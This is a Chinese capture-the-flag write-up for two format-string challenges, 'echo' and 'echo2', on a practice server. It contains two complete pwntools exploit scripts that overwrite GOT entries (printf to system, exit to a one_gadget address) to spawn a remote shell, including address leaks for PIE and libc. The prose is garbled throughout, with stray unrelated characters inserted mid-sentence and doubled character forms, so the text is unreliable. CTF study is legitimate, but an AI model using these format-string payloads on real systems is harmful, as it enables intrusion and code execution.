echo
防護(hù)機(jī)制:
32位的開啟了NX的程序
ida反編譯一下:
很明顯的一個(gè)格式化字符串漏洞,加上程序中存在system函數(shù)蜜猾,所以可以將printf_got覆蓋成system函數(shù)粉渠,再傳入"/bin/sh" 來getshell
這里我用了pwntools庫(kù)中的fmtstr_payload()函數(shù)
exp:
from pwn import*
context.log_level= "debug"
p = remote('hackme.inndy.tw',7711)
#p = process('./echo')
elf = ELF('./echo')
system = elf.symbols['system']
printf_got = elf.got['printf']
bss = elf.bss()
offset = 7
payload = fmtstr_payload(offset,{printf_got : system}) # change the got of printf to system
p.send(payload)
p.send("/bin/sh\x00")
p.interactive()
結(jié)果:
echo2
防護(hù)機(jī)制:
發(fā)現(xiàn)程序開啟了PIE
PIE:
是位置無關(guān)的可執(zhí)行程序,用于生成位置無關(guān)的可執(zhí)行程序,所謂位置無關(guān)的可執(zhí)行程序啊楚,指的是,可執(zhí)行程序的代碼指令集可以被加載到任意位置浑彰,進(jìn)程通過相對(duì)地址獲取指令操作和數(shù)據(jù)恭理,如果不是位置無關(guān)的可執(zhí)行程序,則該可執(zhí)行程序的代碼指令集必須放到特定的位置才可運(yùn)行進(jìn)程郭变。
但是低兩位字節(jié)是固定的颜价,可以通過這個(gè)泄露出程序基地址
ida反編譯:
發(fā)現(xiàn)這題的關(guān)鍵代碼和前面那道題很相似涯保,同樣是一個(gè)格式化字符串漏洞,同樣含有system函數(shù)周伦,但是這一題是64位的并且開啟了PIE的程序夕春,所以需要先泄露出程序的基地址
gdb調(diào)試一番:
格式化字符串位于棧上,并且相對(duì)偏移為7
查看棧上的內(nèi)容:
程序的棧上有printf函數(shù)的返回地址和一些其他函數(shù)的返回地址
所以可以通過泄露出printf函數(shù)的返回地址來計(jì)算出程序的基地址
program_base = leakmemory - offset
泄露__libc_start_main+240的地址來算出libc的基地址
通過在發(fā)送payload的語句后加一條gdb.attach(p)語句专挪,進(jìn)入調(diào)試界面及志,輸入vmmap命令,計(jì)算出libc_base 和 __libc_start_main+240的偏移寨腔,那就可以通過泄露出來的地址得到libc_base的地址了速侈,因?yàn)椴还躊IE它的地址怎么變,__lib_start_main的地址到libc_base的偏移是不會(huì)變的迫卢,同時(shí)可以得到__libc_start_main在libc中的偏移倚搬,通過這個(gè)偏移可以查到程序的libc的版本libsearch
libc_base = __libc_start_main +240 - offset
offset = __libc_start_main +240 - 0x7ffff7a0d000
libc_start_main_offset = offset - 240
查到libc的版本
有這么多 ,一般要再泄露多一個(gè)地址乾蛤,比較精準(zhǔn)潭枣,不過一個(gè)個(gè)試也可以,這里服務(wù)器用的libc版本是 9
獲取了lib版本后就可以開始下一步了幻捏,我沒有用system函數(shù)盆犁,我用one_gadget這個(gè)工具找到了execve("/bin/sh",null,environ)的偏移,然后將exit_got覆蓋成了one_gadget的地址篡九,因?yàn)閑xit也是libc庫(kù)中的函數(shù)谐岁,所以只要覆蓋低五位就可以了,我用"%hn"來改寫地址的內(nèi)容榛臼,一次修改兩個(gè)字節(jié)伊佃,改寫完后輸入"exit",就可以getshell
64位需要注意的是:
- 它的函數(shù)地址存在'\x00'截?cái)嗯嫔疲砸獙⒑瘮?shù)地址放到最后
- 控制好函數(shù)地址的相對(duì)偏移
exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import*
context.log_level = "debug"
p = remote("hackme.inndy.tw",7712)
#p = process('./echo2')
elf = ELF('./echo2')
exit_got = elf.got['exit']
def memleak(offset):
payload = '%' + str(offset) + "$p"
p.sendline(payload)
data = p.recv()[0:-1]
print data
data = int(data,16)
return data
log.info("************leak program base address************")
_libc_csu_init = memleak(41)
p_add = _libc_csu_init - 0xa03
print "base address -->[%s]"%hex(p_add)
_libc_start_main_add = memleak(43) - 240
print "_libc_start_main_add -->[%s]"%hex(_libc_start_main_add)
_libc_start_main_offset = 0x20740
print "_libc_start_main_offset --> [%s] "%hex(_libc_start_main_offset)
libc_base = _libc_start_main_add - _libc_start_main_offset
print "libc_base --> [%s]"%hex(libc_base)
one_gadget = 0xf0897#execve("/bin/sh",null,environ)
#one_gadget = 0xf02a4
print "one_gadget --> [%s]"%hex(one_gadget)
one_gadget_add = libc_base + one_gadget
print "on_gadget_add --> [%s]"%hex(one_gadget_add)
log.info("*********write execve address to exit_got*******")
exit_got = p_add + exit_got
print "exit_got --> [%s]"%hex(exit_got)
hex_one_gadget = hex(one_gadget_add)
add1 = str(int(int(hex_one_gadget[-4:],16))-19)
add2 = str(int(int(hex_one_gadget[-8:-4],16))-19)
add3 = str(int(int(hex_one_gadget[-12:-8],16))-19)
payload1 = "aaaaaaaaaaaaaaaaaaa%" + add1 + "c" + "%10$hn" + p64(exit_got)
payload2 = "aaaaaaaaaaaaaaaaaaa%" + add2 + "c" + "%10$hn" + p64(exit_got+2)
payload3 = "aaaaaaaaaaaaaaaaaaa%" + add3 + "c" + "%10$hn" + p64(exit_got+4)
p.sendline(payload1)
p.sendline(payload2)
p.sendline(payload3)
p.send("exit\n")
p.interactive()
結(jié)果:
寫echo2的時(shí)候參考了大佬的writeup